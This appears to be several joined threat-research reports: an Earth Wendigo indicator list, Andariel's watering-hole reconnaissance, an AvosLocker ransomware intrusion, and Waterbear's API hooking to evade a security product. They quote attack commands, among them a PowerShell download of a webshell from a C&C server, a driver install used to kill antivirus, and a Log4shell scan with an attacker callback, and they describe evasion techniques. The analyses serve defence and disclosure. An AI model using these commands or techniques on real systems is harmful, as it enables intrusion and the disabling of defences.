Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
10d2158828b953ff1140376ceb79182486525fd14b98f743dafa317110c1b289
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
0e04a03afa5b66014457136fb4d437d51da9067dc88452f9ebd098d10c97c5b8
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
75f3f724a2bfda1e74e0de36ff6a12d3f2ea599a594845d7e6bc7c76429e0fa4
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
c3bc364409bb0c4453f6d80351477ff8a13a1acdc5735a9dff4ea4b3f5ad201c
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
5251087bb2a0c87ac60c13f2edb7c39fb1ea26984fcc07e4cf8b39db31ce2b08
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
7fa9a58163dd233065a86f9ed6857ed698fc6e454e6b428ea93f4f711279fb61
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
f568f823959be80a707e05791718c1c3c377da1b0db1865821c1cf7bc53b6084
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
a54d58d5a5812abaede3e2012ae757d378fb51c7d3974eaa3a3f34511161c1db
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
77c3d62cce21c2c348f825948042f7d36999e3be80db32ac98950e88db4140b1
Earth Wendigo
XSS attack script
Trojan.JS.WENDIGOE.A
c0dabb52c73173ea0b597ae4ad90d67c23c85110b06aa3c9e110a852ebe04420
Earth Wendigo Service Worker script
Trojan.JS.WENDIGOE.A
efe541889f3da7672398d7ad00b8243e94d13cc3254ed59cd547ad172c1aa4be
Earth Wendigo WebSocket JavaScript backdoor
Backdoor.JS.WENDIGOE.A
2411b7b9ada83f6586278e0ad36b42a98513c9047a272a5dcb4a2754ba8e6f1d
Earth Wendigo Shellcode Loader
Trojan.
Win32.WENDIGOE.A
1de54855b15fc55b4a865723224119029e51b381a11fda5d05159c74f50cb7de
Earth Wendigo Shellcode Loader
Trojan.
Win32.WENDIGOE.A
d935c9fe8e229f1dabcc0ceb02a9ce7130ae313dd18de0b1aca69741321a7d1b
Earth Wendigo Shellcode Loader
Trojan.
Win32.WENDIGOE.B
50f23b6f4dff77ce4101242ebc3f12ea40156a409a7417ecf6564af344747b76
Earth Wendigo Shellcode Loader
Trojan.
Win32.WENDIGOE.C
fab0c4e0992afe35c5e99bf9286db94313ffedc77d138e96af940423b2ca1cf2
Earth Wendigo Shellcode Loader
Trojan.
Win32.WENDIGOE.C
4d9c63127befad0b65078ccd821a9cd6c1dccec3e204a253751e7213a2d39e39
Earth Wendigo Shellcode Loader
Trojan.
Win32.WENDIGOE.C
25258044c838c6fc14a447573a4a94662170a7b83f08a8d76f96fbbec3ab08e2
Earth Wendigo Shellcode Loader
Trojan.
Win32.WENDIGOE.C
13952e13d310fb5102fd4a90e4eafe6291bc97e09eba50fedbc2f8900c80165f
Earth Wendigo Shellcode Loader
Trojan.
Win32.WENDIGOE.C
ccb7be5a5a73104106c669d7c58b13a55eb9db3b3b5a6d3097ac8b68f2555d39
Earth Wendigo Shellcode Loader
Trojan.
Win64.WENDIGOE.A
40a251184bb680edadfa9778a37135227e4191163882ccf170835e0658b1e0ed
Earth Wendigo Shellcode Loader
Trojan.
Win64.WENDIGOE.B
0d6c3cc46be2c2c951c24c695558be1e2338635176fa34e8b36b3e751ccdb0de
Cobalt Strike
Trojan.
Win32.COBALT.SM
Tags
Articles, News, Reports
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APT & Targeted Attacks
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Research
Updated June 18, 2018, 10:05 AM to add new IoC information from IssueMakersLab's July investigation.
We updated it again at 4:30 PM to add a link to IssueMakersLab's website and to add new IoC information.
This research is done in cooperation with IssueMakersLab of South Korea.
Reconnaissance plays a vital role in criminal operations, and some groups go to great lengths to investigate their targets' systems.
A recent example is the Andariel Group, a known branch of the notorious Lazarus Group.
Last month we tracked new scouting techniques coming from Andariel, which were used mainly against South Korean targets.
Andariel has been quite active these past few months.
According to South Korean security researchers IssueMakersLab, the group used an ActiveX zero-day exploit for watering hole attacks on South Korean websites last May—they called this “Operation GoldenAxe”.
But more recently on June 21, we noticed that Andariel injected their script into four other compromised South Korean websites for reconnaissance purposes.
We found that the code of the new injected script is similar to the sample Andariel previously used in May.
However, the new script was trying to collect different ActiveX object information and targeted objects that it wasn’t attacking before.
In the earlier case, the group collected targeted ActiveX objects on users’ Internet Explorer browser before they used the zero-day exploit.
This was possibly part of their reconnaissance strategy, to find the right targets for their exploit.
Based on this, we believe it's likely that the new targeted ActiveX objects we found could be their next targets for a watering hole exploit attack.
To help prevent any damage, we decided to publish our findings before the group deploys the attack.
Figure 1.
Watering hole reconnaissance flow
Analysis of the Andariel techniques
On June 21, we found that the website of a Korean non-profit organization was compromised with an injected script that collected visitors’ information.
We also found the same script on three South Korean local government labor union websites.
This reconnaissance lasted until 27 June.
We already notified the websites about the compromise.
We believe that the injected script came from the Andariel group since the code has similar obfuscation and structure to the sample we previously found from them.
The script was used to collect information from visitors’ browser: browser type, system language, Flash Player version, Silverlight version, and multiple ActiveX objects.
The original script is from the PluginDetect Library, and it was also used by exploit kits to verify victims before an attack.
The verification process included sending collected information to another compromised website that hosted their PHP program and was designed to receive the information.
Figure 2.
Compromised website injected with malicious script that collects information
Our colleagues from the IssueMakersLab team shared insights and information about the Andariel group, including that they attacked ActiveX vulnerabilities as far back as 2007.
The team monitoring Andariel found that the cybercriminal group injected a malicious script on a South Korean think tank website for reconnaissance in January 2017 and then switched to inject an ActiveX zero-day exploit in mid-April.
IssueMakersLab also listed the ActiveX objects that the Andariel group attacked.
During analysis, we noticed that the new injected script was trying to detect two additional ActiveX objects that were not on the previous list.
One is “DSDOWNCTRL.DSDownCtrlCtrl.1”, which is related to a DRM (Digital Rights Management) software from a South Korean Document Protection Security vendor.
Another is “WSACTIVEBRIDGEAX.WSActiveBridgeAXCtrl.1”, which is related to a South Korea-based voice conversion software company.
Many local governments and public institutions use these software.
We made a table to compare the information that the script samples collected in the previous case and this more recent case.
Collected Information from Old Script Sample (May 2018)
Collected Information from New Script Sample (June 2018)
Parameter
Meaning
Parameter
Meaning
w
Website name
w
Website name
r
<?=$referer?> value
r
<?=$referer?> value
o
OS version
o
OS version
lv
HTTP Accept-Language
lv
HTTP Accept-Language
bt
Browser Information
bt
Browser Information
bv
Browser Information
bv
Browser Information
bdv
Browser Information
bdv
Browser Information
fv
Flash Version
fv
Flash Version
silv
Silverlight Version
silv
Silverlight Version
ez
EasyPayPlugin ActiveX Availability
ez
EasyPayPlugin ActiveX Availability
ac
ACUBEFILECTRL ActiveX Availability*
-
-
-
-
mg
MagicLoaderX ActiveX Availability
-
-
nv
NVersionMan ActiveX Availability
si
SIClientAccess ActiveX Availability
si
SIClientAccess ActiveX Availability
du
DUZONERPSSO ActiveX Availability
du
DUZONERPSSO ActiveX Availability
iw
INIWALLET61 ActiveX Availability
-
-
-
-
ad
admctrl ActiveX Availability
-
-
dw
DSDownCtril ActiveX Availability**
-
-
ab
WSActiveBridgeAX ActiveX Availability***
-
-
ve
Voice Conversion Software “WSActiveBridge” WebSocket Availability****
* detection of the previous ActiveX zero-day object
** detection of the ActiveX object related to DRM software (one of the new targets)
*** detection of the ActiveX object related to voice conversion software (one of the new targets)
**** detection of the WebSocket related to voice conversion software (one of the new targets)
Table 1.
Comparison of the information collected by the previous and new script
Besides the ActiveX objects, we noticed that the script added new code to connect websocket to localhost.
The voice conversion software has websocket service listening on the local host so the injected script can detect the software by checking if they can establish a connection to ports 45461 and 45462, which the software uses.
In addition, the verification process in the older script is different from the ActiveX detection, which was only for the Internet Explorer browser.
In the script found in June, the websocket verification could also be performed on other browsers like Chrome and Firefox.
This shows that the attacker has expanded his target base, and is interested in the software itself and not just their ActiveX objects.
Based on this change, we can expect them to start using attack vectors other than ActiveX.
Figure 3.
Script (Deobfuscated) for detecting the voice conversion software ActiveX object and local websocket availability
Figure 4.
The voice conversion software (WSActiveBridge.exe) is listening on port 45461 and 45462
Reconnaissance is the stage where attackers collect information from potential targets to help them determine what tactics will work.
These new developments from the Andariel group give us an idea of their plans, although we cannot make specific assumptions about their strategy.
To stay one step ahead of threats like this, we recommend that people use layered security protection in their environments.
Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from similar threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.
Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachment and URLs.
Trend Micro™ OfficeScan™ with XGen™ endpoint security infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against advanced malware.
Indicators of Compromise (IoC)
IoCs
Description
cfcd391eec9fca663afd9a4a152e62af665e8f695a16537e061e924a3b63c3b9
Injected Script in May 2018
e0e30eb5e5ff1e71548c4405d04ce16b94c4cb7f8c2ed9bd75933cea53533114
Injected Script in June 2018
67a1312768c4ca3379181c0fcc1143460efcb4bff7a4774c9c775043964c0878
Injected Script in 17 July 2018
hxxp://aega[.]co[.
]kr/mall/skin/skin.php
Compromised site (received information May 2018)
hxxp://www[.]peaceind[.]co[.
]kr/board/icon/image.php
Compromised site (received information May 2018)
hxxp://alphap1[.
]com/hdd/images/image.php
Compromised site (received information May 2018)
hxxp://adfamc[.
]com/editor/sorak/image.php
Compromised site (received information June 2018)
hxxp://adfamc[.
[com/editor/sorak/skin.php
Compromised site (received information 17 July 2018)
Tags
APT & Targeted Attacks
|
Endpoints
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Research
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Network
We found samples of AvosLocker ransomware that makes use of a legitimate driver file to disable antivirus solutions and detection evasion.
While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys).
In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.
Infection chain
Figure 1.
AvosLocker infection chain
According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:
Figure 2.
The ADSS exploit abusing CVE-2021-40539
Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used.
However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539.
The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class/code.
Mapping the infection
The ADSS JAVA component (C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server.
Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process.
Figure 3.
Remotely executing an HTA file from the C&C server.
Screenshots taken from Trend Micro Vison One.
Figure 4.
HTA file connecting to the C&C
A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file.
The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.
Figure 5.
Obfuscated PowerShell script contains a shellcode
The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe /c powershell -command Invoke-WebRequest -Uri hxxp://xx.xx.xx.xx/subshell.aspx -OutFile /ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide >.
According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker.
The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.
Figure 6.
Gather system information
The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.
Figure 7.
Executed with the /domain argument to collect username information
Figure 8. query user information for session data
The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.
Figure 9.
The PowerShell downloading and installing AnyDeskMSI
We observed that a new user account was created, added to the current domain, and included in the administrator group.
This ensures the attacker can have administrative rights to the infected system.
The attackers also checked the running processes in the system via TaskList to check for antivirus processes running in the infiltrated system.
Figure 10.
Creating a new account with admin rights
Figure 11.
Checking for antivirus processes running
During the scan, we observed an attempt to terminate security products initiated via TaskKill.
Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.
Figure 12.
Terminating security products running
Tools and functions
Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products.
The tools transferred using AnyDesk are:
Netscan: To scan for other endpoints
Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints
Hacking tools Mimikatz and Impacket: For lateral movement
PDQ deploy: For mass deployment of malicious script to multiple endpoints
Aswarpot.sys: For disabling defense solutions.
We noted that it can disable a number of antivirus products, previously identified by Aon’s researchers.
Figure 13.
Copying tools and other malicious components to the compromised machine using AnyDesk
We found an Avast anti-rootkit driver installed as service 'asWarPot.sys' using the command sc.exe  create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel.
It installs the driver file in preparation for disabling the running antivirus product.
We noted the unusual use of cmd.exe for execution of the file.
Figure 14.
Executing the anti-rootkit driver in the system
Mimikatz components were also copied to the affected machine via AnyDeskMSI.
However, these components were detected and deleted.
Figure 15.
Detecting and deleting Mimikatz
We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver).
A list of security product processes was supplied and subsequently terminated by the driver.
Figure 16.
Listing and terminating the security products found running in the compromised system
Verification: Manual replication of antivirus disabling routine
We manually replicated the routine and commands for disabling the defense solutions to further look into the routine.
Figure 17 shows the list of processes that the routine searches on infection :
EndpointBasecamp.exe
Trend Micro Endpoint Basecamp
ResponseService.exe
PccNTMon.exe
SupportConnector.exe
AOTAgent.exe
CETASvc.exe
CETASvc
iVPAgent.exe
tmwscsvc.exe
TMResponse
AOTAgentSvc
TMBMServer
iVPAgent
Trend Micro Web Service Communicator
Tmccsf
Tmlisten
Ntrtscan
TmWSCSvc
Figure 17.
Searching for processes
We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.
Figure 18.
Driver file preparing to disable an antivirus product
The DeviceIoControl function is used to execute parts of the driver.
In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above.
Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.
Figure 19.
DeviceIoControl as an argument with the current process ID
Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case.
Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.
Figure 20.
0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).
Other executions and lateral movement
After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.
Figure 21.
Execution of Mimikatz (above) and Impacket via C:\temp\wmiexec.exe (below)
We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.
Figure 22.
XenArmor password recovery tool execution
We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network.
They used the command nmap  --script log4shell.nse --script-args log4shell.waf-bypass=true --script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx/xx, and set the callback server to the attacker group C&C server.
Figure 23.
Checking for log4shell
We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.
Figure 24.
Running more system network configuration discovery scans
Deploying across the network
We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.
Figure 25.
Deploying malicious batch scripts to other endpoints
The deployed batch script has the following commands:
Disable Windows Update and Microsoft Defender
Figure 26.
Disable Microsoft defense services
Prevents safeboot execution of security products
Figure 27.
Prevent security products’ execution
Create new administrator account
Figure 28.
Create new account
Add the AutoStart mechanism for the AvosLocker executable (update.exe)
Figure 29.
Add Autostart for ransomware executable
Disables legal notice caption
Figure 30.
Disable legal notice
Set safeboot with networking and disables Windows Error Recovery and reboot
Figure 31.
Setting and disabling network and specific Windows functions
Conclusion
While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it.
We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones.
In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).
This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice.
Other modern ransomware, such as Mespinoza/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.
Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks.
Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence grows in sophistication.
In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.
However, and specific to this instance, the attempt to kill an antivirus product such as this variant’s TaskKill can also be foiled.
In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine.
The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.
Avast responded to our notification with this statement:
"We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021.
We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can't be loaded to memory.
The below example shows that the blocking works (output from the "sc start" command):
(SC) StartService FAILED 1275:
This driver has been blocked from loading
The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft's security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.
All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.
For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program."
Indicators of Compromise (IOCs)
File
SHA256
Detection
Malicious batch file component
a5ad3355f55e1a15baefea83ce81d038531af516f47716018b1dedf04f081f15
Trojan.BAT.KILLAV.YACAA
AvosLocker executable
05ba2df0033e3cd5b987d66b6de545df439d338a20165c0ba96cde8a74e463e5
Ransom.
Win32.AVOSLOCKER.SMYXBLNT
Mimikatz executable (x32 and x64)
912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9
HackTool.
Win64.MIMIKATZ.ZTJA
e81a8f8ad804c4d83869d7806a303ff04f31cce376c5df8aada2e9db2c1eeb98
HackTool.
Win32.Mimikatz.CNFW
Log4shell Nmap NSE script
ddcb0e99f27e79d3536a15e0d51f7f33c38b2ae48677570f36f5e92863db5a96
Backdoor.
Win32.CVE202144228.YACAH
Impacket tool
14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8
HackTool.
Win32.Impacket.AA
Tags
Malware
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Exploits & Vulnerabilities
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Cyber Threats
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APT & Targeted Attacks
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Compliance & Risks
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Endpoints
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Ransomware
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Network
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Articles, News, Reports
Waterbear, which has been around for several years, is a campaign that uses modular malware capable of including additional functions remotely.
It is associated with the cyberespionage group BlackTech, which mainly targets technology companies and government agencies in East Asia (specifically Taiwan, and in some instances, Japan and Hong Kong) and is responsible for some infamous campaigns such as PLEAD and Shrouded Crossbow.
In previous campaigns, we’ve seen Waterbear primarily being used for lateral movement, decrypting and triggering payloads with its loader component.
In most cases, the payloads are backdoors that are able to receive and load additional modules.
However, in one of its recent campaigns, we’ve discovered a piece of Waterbear payload with a brand-new purpose: hiding its network behaviors from a specific security product by API hooking techniques.
In our analysis, we have discovered that the security vendor is APAC-based, which is consistent with BlackTech’s targeted countries.
Knowing which specific APIs to hook might mean that the attackers are familiar with how certain security products gather information on their clients' endpoints and networks.
And since the API hooking shellcode adopts a generic approach, a similar code snippet might be used to target other products in the future and make Waterbear harder to detect.
A closer look at Waterbear
Waterbear employs a modular approach to its malware.
It utilizes a DLL loader to decrypt and execute an RC4-encrypted payload.
Typically, the payload is the first-stage backdoor which receives and loads other executables from external attackers.
These first-stage backdoors can be divided into two types: First, to connect to a command-and-control (C&C) server, and second, to listen in on a specific port.
Sometimes, the hardcoded file paths of the encrypted payloads are not under Windows native directories (e.g., under security products or third-party libraries' directories), which may indicate that the attackers might have prior knowledge of their targets' environments.
It is also possible that the attackers use Waterbear as a secondary payload to help maintain presence after gaining some levels of access to the targets’ systems.
The evidence is that Waterbear frequently uses internal IPs as its own C&C servers (for instance, b9f3a3b9452a396c3ba0ce4a644dd2b7f494905e820e7b1c6dca2fdcce069361 uses an internal IP address of 10[.]0[.]0[.
]211 as its C&C server).
The typical Waterbear infection chain
Figure 1.
A typical Waterbear infection chain
A Waterbear infection starts from a malicious DLL loader, as shown in Figure 1.
We have seen two  techniques of DLL loader triggering.
One is modifying a legitimate server application to import and load the malicious DLL loader, while the second technique is performing phantom DLL hijacking and DLL side loading.
Some Windows services try to load external DLLs with hardcoded DLL names or paths during boot-up.
However, if the DLL is a legacy DLL (i.e., one that is no longer supported by Windows) or a third-party DLL (i.e., one that is not part of the original Windows system DLLs), attackers can give their malicious DLL a hardcoded DLL name and place it under one of the searched directories during the DLL loading process.
After the malicious DLL is loaded, it will gain the same permission level as the service that loads it.
During our recent Waterbear investigation, we discovered that the DLL loader loaded two payloads.
The payloads performed functionalities we have never seen in other Waterbear campaigns.
The first payload injects code into a specific security product to hide the campaign’s backdoor.
The second payload is a typical Waterbear first-stage backdoor, which we will attempt to dissect first based on a specific case we observed during our analysis.
Waterbear’s first-stage backdoor
We saw a Waterbear loader named "ociw32.dll" inside one of the folders in the %PATH% environmental variable.
This DLL name is hardcoded inside "mtxoci.dll" which is loaded by the MSDTC service during boot-up.
“mtxoci.dll” first tries to query the registry key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI" to see if the value "OracleOciLib" exists.
If so, it retrieves the data inside it and loads the corresponding library.
If the value doesn't exist, “mtxoci.dll” tries to load "ociw32.dll" instead.
During our investigation, we noticed that the value "OracleOciLib" was deleted from the victim's machine, as shown in Figure 2.
Hence, the malicious loader "ociw32.dll" was loaded and successfully executed on the host.
Figure 2.
The deleted value "OracleOciLib" on the victim's host
Note: The image on the left  shows how  the DLL on a normal machine normally looks.
The image on the right showcases how the DLL on a victim's machine appears.
Because there is no "OracleOciLib" value, it loads the hardcoded DLL "ociw32.dll" instead, which triggers the malicious Waterbear DLL loader.
After the Waterbear DLL loader is executed, it searches for a hardcoded path and tries to decrypt the corresponding payload, which is a piece of encrypted shellcode.
The decryption algorithm is RC4, which takes the hardcoded path to form the decryption key.
If the decrypted payload is valid, it picks a specific existing Windows Service — LanmanServer, which is run by svchost.exe — and injects the decrypted shellcode into the legitimate service.
In most cases, the payload is a first-stage backdoor, and its main purpose is to retrieve second-stage payloads — either by connecting to a C&C server or opening a port to wait for external connections and load incoming executables.
Configuration of the first-stage backdoor
Waterbear’s first-stage backdoor configuration contains the information required for the proper execution of and communication with external entities.
Offset 0x00, Size 0x10: Encryption / decryption key for the functions
Offset 0x10, Size 0x04: 0x0BB8 (reserved)
Offset 0x14, Size 0x10: Version (e.g., 0.13, 0.14, 0.16, and so on)
Offset 0x24, Size 0x10: Mutex or reserved bytes
Offset 0x34, Size 0x78: C&C server address which is XOR-encrypted by key 0xFF.
If the backdoor is intended to listen in on a specific port, this section will be filled with 0x00.
Offset 0xAC, Size 0x02: Port
Offset 0xAE, Size 0x5A: Reserved bytes
Table: The function address table of the payload.
The block is initially filled with 0x00 and will be propagated during runtime.
Table: The sizes of functions
Table: The API address table.
The block is initially filled with 0x00 and will be filled with loaded API addresses during runtime.
Table: The API hashes for dynamic API loading
A list of DLL names and the number of APIs to be loaded
Figure 3.
The first-stage backdoor’s configuration structure
Anti-memory scanning of shellcode payload
In order to avoid in-memory scanning during runtime, the payload encrypts all of the function blocks before executing the actual malicious routine.
Afterwards, whenever it needs to use a function, it will decrypt the function, execute it, and encrypt the function back again, as can be seen in Figure 4.
If a function will not be used on the rest of the execution, it will be scrambled by another mess-up function, as illustrated in Figure 6.
The mess-up function muddles up the bytes with random values and makes the input blocks unrecoverable.
The purpose of this is to further avoid being detected by a certain cybersecurity solution.
Figure 4.
The decryption-execution-encryption flow in the shellcode execution routine
Figure 5.
The function for the function block encryption and decryption
Figure 6.
The payload’s mess-up function
Same Waterbear, different story
During our investigation, we found a peculiar incident that stands out from most of the Waterbear infections we’ve previously seen.
This time, the DLL loader loaded two payloads – the first payload performed functionalities we have not seen before: It injected codes into a specific security product to do API hooking in order to hide the backdoor from the product.
Meanwhile, the second payload is a typical Waterbear first-stage backdoor.
Figure 7.
An unusual Waterbear infection chain
Both payloads were encrypted and stored on the victim’s disk and were injected into the same service, which was, in this case, LanmanServer.
We have observed that the loader tried to read the payloads from the files, decrypted them, and performed thread injections with the following conditions:
If the first payload could not be found on the disk, the loader would be terminated without loading the second one.
If the first payload was successfully decrypted and injected into the service, the second piece would also be loaded and injected regardless of what happened to the first thread.
In the first injected thread, if the necessary executable from the security product was not found, the thread would be terminated without performing other malicious routines.
Note that only the thread would be terminated, but the service would still be running.
Regardless if the API hooking was performed or otherwise, the second backdoor would still be executed after having been successfully loaded.
API hooking to evade detection
In order to hide the behaviors of the first-stage backdoor (which is the second payload), the first payload uses API hooking techniques to avoid being detected by a specific security product and to make an interference in the result of the function execution.
It hooks two different APIs, namely "ZwOpenProcess" and "GetExtendedTcpTable", to hide its specific processes.
The payload only modifies the functions in the memory of the security product process, hence the original system DLL files remain unchanged.
The payload is composed of a two-stage shellcode.
The first-stage shellcode finds a specific security product's process with a hardcoded name and injects the second-stage shellcode into  that process.
The second-stage shellcode then performs API hooking inside the targeted process.
Hiding process identifiers (PIDs)
The process identifiers or PIDs to be hidden are stored in the shared memory "Global\<computer_name>."
If the shared memory doesn't exist, it takes the PID embedded by the first-stage shellcode.
In this case, the intention of the malicious code is to hide Waterbear’s  backdoor activities from the security product.
Therefore, the first-stage shellcode takes the PID of the Windows Service — which the first-stage shellcode and the succeeding backdoor both inject into — hides the target process, and embeds that PID into the second-stage shellcode.
Figure 8.
Code that injects current PID into the second-stage shellcode
Hooking "ZwOpenProcess" in ntdll.dll
The purpose of hooking “ZwOpenProcess” is to protect the specific process from being accessed by the security product.
Whenever “ZwOpenProcess” is called, the injected code will first check if the opened process hits any PIDs in the protected process ID list.
If yes, it modifies the process ID, which should open on another Windows Service PID.
First, it builds the hooked function and writes the function at the end of “ntdll.dll”.
This function includes two parts, as shown in Figure 9:
The PID checking procedure.
It recursively checks if the PID to be opened by “ZwOpenProcess” is in the list of the protected process IDs.
If yes, it replaces the PID to be opened with another Windows Service PID that has been written by the Waterbear loader in the beginning.
After the PID checking procedure, it executes the original “ZwOpenProcess” and returns the result.
Figure 9.
The function hook of “ZwOpenProcess” to check and modify the output of the function
Secondly, it writes "push <ADDRESS> ret" at the beginning of the original “ZwOpenProcess” address.
Hence, when “ZwOpenProcess” is called, the modified version of “ZwOpenProcess” will be executed.
Figure 10.
“ZwOpenProcess” after modification
The API hooking on “ZwOpenProcess” will only be triggered if "%temp%\KERNELBASE.dll" exists on the host.
It is possible that this check is designed according to the nature of the security product it targets.
"GetExtendedTcpTable" and "GetRTTAndHopCount" hooks in iphlpapi.dll
The second part of API hooking hooks on “GetExtendedTcpTable.” “GetExtendedTcpTable” is used for retrieving a table that contains a list of TCP endpoints available to the application, and it is frequently used in some network-related commands, such as netstat.
The purpose of the hook is to remove TCP endpoint records of certain PIDs.
In order to achieve that, it modifies two functions: “GetExtendedTcpTable” and “GetRTTAndHopCount.” The second function, “GetRTTAndHopCount,” acts as the place to put the injected hooking code.
“GetExtendedTcpTable” only writes a jump to “GetRTTAndHopCount” in the beginning of the function.
Only the first 5 bytes of the code of the API "GetExtendedTcpTable" are changed, as shown in Figure 11.
Figure 11.
Only 5 bytes changed in the “GetExtendedTcpTable”
The rest of the routine is all placed in “GetRTTAndHopCount.” In the first part of the code, it pushes [“GetRTTAndHopCount”+0x3E] as the return address and then executes the first four instructions of the original “GetExtendedTcpTable” function (which has already been replaced by the jump instruction in Figure 11).
After that, it jumps to “GetExtendedTcpTable” to execute the function normally and to catch its return values.
The code is shown in Figure 12.
Figure 12.
The first part of injected code in “GetRTTAndHopCount,” which executes “GetExtendedTcpTable” and returns back to the next instruction
After “GetExtendedTcpTable” is executed and the process returns back to the second part of the code, it iteratively checks every record in the returned Tcp table.
If any record contains the PID Waterbear wants to hide, it will remove the corresponding record, modify the record number inside the table, and continue to check the succeeding records.
In the end, it returns the modified table.
Fig.
13.
The injected code’s second part in “GetRTTAndHopCount” that checks and removes returned records of certain PIDs
Rather than directly disabling these two functions, this method of using API hooking makes noticing malicious behaviors more difficult, especially since both functions still work and return results normally.
Although in this case, the affected process is specified in the first-stage shellcode, the API hooking logic is quite generic that the same piece of shellcode can be used to hook other vendors' products.
Conclusion
This is the first time we’ve seen Waterbear attempting to hide its backdoor activities.
By the hardcoded product name, we infer that the attackers are knowledgeable of the victims' environment and which security product(s) they use.
The attackers might also be familiar with how security products gather information on their clients’ endpoints and networks, so that they know which APIs to hook.
Since the API hooking shellcode adopts a generic approach, the similar code snippet might be used to target other products in the future and make the activities of Waterbear harder to detect.
Tactic
Technique
ID
Description
Execution
Execution through Module Load
T1129
Dynamically loads the DLLs through the shellcode
Execution through API
T1106
Dynamically loads the APIs through the shellcode
Persistence
Hooking
T1179
Hooks security product’s commonly used APIs
Privilege Escalation
Process Injection
T1055
Injects the decrypts payload into svchost.exe process
Hooking
T1179
Hooks security products’ commonly used APIs
Defense Evasion
Binary Padding
T1009
Adds junk data to evade anti-virus scan
Disabling Security Tools
T1089
Targets a specific security product’s process for injection purposes
Deobfuscate/Decode Files or Information
T1140
Uses TROJ_WATERBEAR to decrypt encrypted payload
Execution Guardrails
T1480
Targets specific software in the victim’s environment
DLL Side-Loading
